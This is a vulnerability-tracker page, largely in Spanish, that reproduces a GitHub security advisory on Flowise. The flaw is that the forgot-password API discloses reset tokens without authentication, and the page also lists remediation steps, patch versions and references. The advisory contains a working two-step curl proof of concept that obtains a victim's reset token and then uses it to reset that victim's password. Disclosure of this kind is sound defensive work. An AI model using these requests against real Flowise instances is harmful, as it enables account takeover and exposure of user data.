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Advisory · GitHub · npm · flowise

GHSA-WGPV-6J63-X5PH

Flowise Cloud and Local Deployments have Unauthenticated Password Reset Token Disclosure that Leads to Account Takeover

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CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a 3 d de la divulgación
Exposición433 dDesde la divulgación, 12 sept 2025, 3:02 p. m.
Detección430 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 3.0.6
Monitoreo
Detectada
12 sept 25
15 sept 25
17 nov 26
20 nov 26
12 sept 25
30 dic 25
17 abr 26
3 ago 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-WGPV-6J63-X5PH divulgada
Divulgación Modificada Última actualización del registro
Remediación Parche 3.0.6 flowise · 3 d desde divulgación
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO).

This vulnerability applies to both the cloud service (`cloud.flowiseai.com`) and self-hosted/local Flowise deployments that expose the same API.

CVSS v3.1 Base Score: 9.8 (Critical)
Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

---

Details
  • The endpoint `/api/v1/account/forgot-password` accepts an email address as input.
  • Instead of only sending a reset email, the API responds directly with sensitive user details, including:
  • User ID, name, email, hashed credential, status, timestamps.
  • A valid `tempToken` and its expiry, which is intended for password reset.
  • This `tempToken` can then be reused immediately in the `/api/v1/account/reset-password` endpoint to reset the password of the targeted account without any email verification or user interaction.
  • Exploitation requires only the victim’s email address, which is often guessable or discoverable.
  • Because the vulnerable endpoints exist in both Flowise Cloud and local/self-hosted deployments, any exposed instance is vulnerable to account takeover.

This effectively allows any unauthenticated attacker to take over arbitrary accounts (including admin or privileged accounts) by requesting a reset for their email.

---

PoC
  1. Request a reset token for the victim
curl -i -X POST https://<target>/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"<victim@example.com>"}}'

Response (201 Created):

{
  "user": {
    "id": "<redacted-uuid>",
    "name": "<redacted>",
    "email": "<victim@example.com>",
    "credential": "<redacted-hash>",
    "tempToken": "<redacted-tempToken>",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}
  1. Use the exposed `tempToken` to reset the password
curl -i -X POST https://<target>/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"<victim@example.com>",
          "tempToken":"<redacted-tempToken>",
          "password":"NewSecurePassword123!"
        }
      }'

Expected Result: `200 OK`
The victim’s account password is reset, allowing full login.

---

Impact
  • Type: Authentication bypass / Insecure direct object exposure.
  • Impact:
  • Any account (including administrator or high-value accounts) can be reset and taken over with only the email address.
  • Applies to both Flowise Cloud and locally hosted/self-managed deployments.
  • Leads to full account takeover, data exposure, impersonation, and possible control over organizational assets.
  • High likelihood of exploitation since no prior access or user interaction is required.

---

Recommended Remediation
  • Do not return reset tokens or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel.
  • Ensure `forgot-password` responds with a generic success message regardless of input, to avoid user enumeration.
  • Require strong validation of the `tempToken` (e.g., single-use, short expiry, tied to request origin, validated against email delivery).
  • Apply the same fixes to both cloud and self-hosted/local deployments.
  • Log and monitor password reset requests for suspicious activity.
  • Consider multi-factor verification for sensitive accounts.

Credit

---

⚠️ This is a Critical ATO vulnerability because it allows attackers to compromise any account with only knowledge of an email address, and it applies to all deployment models (cloud and local).

---

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
flowise< 3.0.6
3.0.6
3.1.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmflowise
Corregida 3.0.6 3 d 3.1.4 no afectada
Versiones corregidas3.0.6
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2025-58434
Otrahttps://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph
Otrahttps://github.com/FlowiseAI/Flowise/commit/9e178d68873eb876073846433a596590d3d9c863
Otrahttps://github.com/FlowiseAI/Flowise

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